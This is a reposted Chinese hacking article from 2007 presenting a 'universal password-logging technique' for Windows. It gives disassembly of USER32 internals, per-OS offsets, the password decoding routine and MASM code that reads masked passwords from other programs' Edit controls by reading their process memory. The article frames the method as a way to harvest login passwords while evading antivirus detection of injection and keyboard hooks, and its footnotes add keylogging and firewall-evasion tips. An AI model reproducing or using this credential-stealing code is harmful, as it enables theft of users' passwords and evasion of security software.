现在的位置: 首页 > 综合 > 正文

Edit控件密码窗口的秘密–一种全新的通用密码记录技术

2013年03月11日 ⁄ 综合 ⁄ 共 13673字 ⁄ 字号 评论关闭

Author: czy
Date: 2007-08-09 (pub)
http://www.ph4nt0m.org

*目前的各类密码记录技术*

目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
一:调用CreateRemoteThread函数远程DLL或代码注入.
二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)
三:伪造登陆界面.
四:登录信息在网络传输过程中被嗅探.
五:分析目标程序流层,文件补丁技术(注一).
六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.

由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.

*两大主流密码记录技术的局限性*

对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).
对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流 行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键 盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.
难道就没有通用性相对较好,记录正确率高,不容易被杀毒软件查杀的技术了吗?请看下文.

*目前的思路*

对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安 全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就 很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.
(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)

*新的思路*

在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?
也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory
或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess
不代写内存的参数一般杀毒软件不会提示(注三).

*读哪儿?*

解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中
的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)

第一部分:
GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)


:77D184D0 8BFF                    mov edi, edi
:77D184D2 
55                      push ebp
:77D184D3 8BEC                    mov ebp, esp
:77D184D5 
51                      push ecx
:77D184D6 
53                      push ebx
:77D184D7 
56                      push esi
:77D184D8 
57                      push edi
:77D184D9 8855FC                  mov 
byte ptr [ebp-04], dl
:77D184DC 8BF9                    mov edi, ecx                      ;edi中为密码窗口句柄
:77D184DE 33F6                    xor esi, esi
:77D184E0 64A118000000            mov eax, dword ptr fs:[
00000018]  ;得到当前线程的TEB
:77D184E6 8B0D6000D777            mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000            lea ebx, dword ptr [eax
+000006CC] ;当前线程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7                    mov eax, edi
:77D184F4 25FFFF0000              and eax, 0000FFFF                 ;eax中为密码窗口句柄的低16位
:77D184F9 3B4108                  cmp eax, dword ptr [ecx
+08]
:77D184FC 734D                    jnb 77D1854B
:77D184FE 8B0D8400D777            mov ecx, dword ptr [77D70084]     ;77D70084是USER32.DLL中的一个全局变量的地址,重要
!
:77D18504 8D0440                  lea eax, dword ptr [eax
+2*eax]
:77D18507 8D0C81                  lea ecx, dword ptr [ecx
+4*eax]    ;ecx为(密码窗口句柄低16位x12)+一个未知全局变量
--------------------------无关代码省略之-------------
:77D1852F 8B31                    mov esi, dword ptr [ecx]          ;ecx的值没变,取里面的值给esi
:77D18531 0F8471A40100            je 77D329A8
:77D18537 3B30                    cmp esi, dword ptr [eax]
:77D18539 0F8269A40100            jb 77D329A8
:77D1853F 3B7004                  cmp esi, dword ptr [eax
+04]
:77D18542 0F8360A40100            jnb 77D329A8
:77D18548 2B731C                  sub esi, dword ptr [ebx
+1C]       
;刚才的值
-RealClientID,EBX+1C接合上面的代码看就是当前线程TEB的基地址+6CCH+1CH,取得的值也就是当前线程的RealClientID

第二部分
经过一些跳转后会调用EditWndProc,其中的关键代码如下:

Exported fn(): EditWndProc - Ord:00C1h ;函数入口

:77D2C538 8BFF                    mov edi, edi
:77D2C53A 
55                      push ebp
:77D2C53B 8BEC                    mov ebp, esp
:77D2C53D 83EC1C                  sub esp, 0000001C
:77D2C540 8B550C                  mov edx, dword ptr [ebp
+0C]        ;如果EDX为0Dh说明是取得窗口的内容
:77D2C543 
53                      push ebx
:77D2C544 
56                      push esi
:77D2C545 
57                      push edi
:77D2C546 8B7D08                  mov edi, dword ptr [ebp
+08]
:77D2C549 8B07                    mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000            mov esi, dword ptr [edi
+000000A4]  ;这儿的EDI和前面代码最后的ESI是同一个值,重要!
:77D2C551 33C9                    xor ecx, ecx                       ;计算后ESI就是一个指向窗口内容结构的指针
:77D2C553 8945F4                  mov dword ptr [ebp
-0C], eax
:77D2C556 
41                      inc ecx
---------------------无关代码省略之---------------
:77D2C5B9 
51                      push ecx
:77D2C5BA FF7514                  push [ebp
+14]
:77D2C5BD FF7510                  push [ebp
+10]
:77D2C5C0 
56                      push esi
:77D2C5C1 E88E040000              call 77D2CA54   ;得到窗口内容

第三部分:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00                cmp dword ptr [esi
+0C], 00000000
:77D4149A 
7427                    je 77D414C3
:77D4149C 668B466A                mov ax, word ptr [esi
+6A]
:77D414A0 660FAF460C              imul ax, word ptr [esi
+0C]          ;esi和上面的一样指向窗口结构,ESI+0C是取得密码长度
:77D414A5 668945FA                mov word ptr [ebp
-06], ax
:77D414A9 668945F8                mov word ptr [ebp
-08], ax
:77D414AD 8D45F8                  lea eax, dword ptr [ebp
-08]
:77D414B0 
50                      push eax                            
:77D414B1 33C0                    xor eax, eax
:77D414B3 8A86EC000000            mov al, 
byte ptr [esi+000000EC]     ;ESI+EC解码密码的变量,总是一个字节
:77D414B9 897DFC                  mov dword ptr [ebp
-04], edi
:77D414BC 
50                      push eax

* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
                                  
|
:77D414BD FF154410D177            Call dword ptr [77D11044]           ;对该函数分析可知,esi
+00存放编码后的密码的地址

*分析GetWindowTextA后的总结*

分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:
1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.
我们的进程可不可以获得这三个参数呢?
对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId
对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄
对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,
它里面的值简单的说就是一些指向窗体信息结构的指针.

*获得GUI TABLE在R3成层的映射基地址*

我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要
调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处

:77D21020 8DB5A0FAFFFF            lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777              mov edi, 77D70080     ;注意不是77D70084
:77D2102B F3                      repz
:77D2102C A5                      movsd

会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!
分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:
成层的映射基地址的变量的地址-4.代码如下:

:77D535F5 B88000D777              mov eax, 77D70080
:77D535FA 5D                      pop ebp
:77D535FB C20800                  ret 
0008

到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)

*把密码算出来*

第一步:
取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex
第二步:
得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是编码后的密码的地址
PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN
PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.
第八步:
解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:

    MOV EDX,ENCODE
        mov cl,dl
        mov edi,PASSLEN
@@nextpass:        
        CMP EDI,
1
        JBE @@firstpass
        mov eax,esi       ;esi指向编码后的密码的第一个字节.
        add eax,edi
        mov dl,[eax
-2]
        xor dl,[eax
-1]
        xor dl,cl ;重要
        mov [eax
-1],dl
        dec edi
        jmp @@nextpass
@@firstpass:
        or  cl,43h 
        mov edx,offset buffer1
        xor [edx],cl 

注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch

*具体编码*

为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.
下面把关键实现代码分析一下:

第一步:得到密码密窗口句柄:


                    invoke    GetCursorPos,addr @stPoint             ;得到当前光标位置
            invoke    WindowFromPoint,@stPoint.x,@stPoint.y  ;得到光标下窗口的句柄            
            mov    @hWindow,eax
            .
if    eax !=    NULL
                invoke GetWindowLong,@hWindow,GWL_STYLE     ;得到窗口风格
                .
if (eax & ES_PASSWORD)                     ;是密码框吗?
                    invoke GetClassName,@hWindow,offset classname,
64   ;如果是得到控件类名
                    invoke lstrcmpi,offset classname,offset editname   
                    .
if eax == 0                                       ;如果类名是Edit,那么调用ViewPass函数读密码
                    mov eax,@hWindow
                    mov WINHAND,eax
                    invoke ViewPass
                    .endif                    
                    
                .endif
            .endif

第二步:判断系统:

LOCAL verinfo:OSVERSIONINFO
    
    mov     verinfo.dwOSVersionInfoSize,
sizeof OSVERSIONINFO
    invoke  GetVersionEx,addr verinfo
    .
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
        mov eax,
1 ;xp
        mov passoffset,0A4H
        mov lenoffset ,14H

程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试
同一种系统偏移没有变化,所以通用性应该很好.

第三步:得到密码窗口的线程和进程ID
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX ;返回值为线程ID
第一个参数为窗口句柄,第二个参数为得到进程ID

第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

invoke GetUser32Base,parid
返回值就是基地址:)

GetUser32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[
256]:byte

        mov        modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录
        .while eax                                   ;相应模块加载的基地址
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset user32dll,ecx  ;比较模块名是否为user32.dll
        .
if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw
        invoke    CloseHandle,hSnapshot
        
                ret
GetUser32Base   endp 

第五步:
根据窗口所在的线程得到该线程的TEB地址

        invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
        .
if    eax != NULL
                mov     THREADHAND,EAX
                invoke    LoadLibrary,offset Ntdll
                invoke    GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
                mov     apiquerthread,eax                 
                push    
0
                push    sizeof THREAD_BASIC_INFORMATION
                lea     ecx,threadinfo
                push    ecx
                push    ThreadBasicInformation
                push    THREADHAND
                call    apiquerthread
                .IF EAX 
== STATUS_SUCCESS
                    lea ecx,threadinfo
                    mov esi,[ecx
+4] ;得到TEB了,通常为7FFDX000
                .ELSE
                    invoke MessageBox,
0,offset errgetteb,offset vp,1
                    ret
                .ENDIF
        .
else
            invoke MessageBox,
0,offset erropenthread,offset vp,1
            ret
        .endif

第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了.

        add esi,6cch  ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB        
        add esi,1ch   ;只用MOV EAX,FS:[
18]就行了,也就是文章中间反汇编看到的那样.
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,
4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
        .
if eax == TRUE ;为真说明读成功
               mov eax,offset buffer1
               mov eax,[eax]
               mov edi,eax
               .
if eax ==NULL
                invoke MessageBox,
0,offset errnorealcid,offset vp,1
               ret
               .endif
        .endif

第七步:得到目标进程R3层的GUI TABLE基地址

这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:

2K系统:(5.0.2195.7032)
:
77E3565D B880D2E477              mov eax, 77E4D280
:77E35662 C20800                  ret 
0008

XP系统:(5.1.2600.2180)
:77D535F5 B88000D777              mov eax, 77D70080
:77D535FA 5D                      pop ebp  
:77D535FB C20800                  ret 
0008

2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777              mov eax, 77E724C0
:77E514DE C9                      leave
:77E514DF C2080000                ret 
0008

分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.

(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)

第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.

*最后的总结*

所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.

注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.

注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.

注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.

注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载.
该库文件编译后只有600多个字节.

注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.

抱歉!评论已关闭.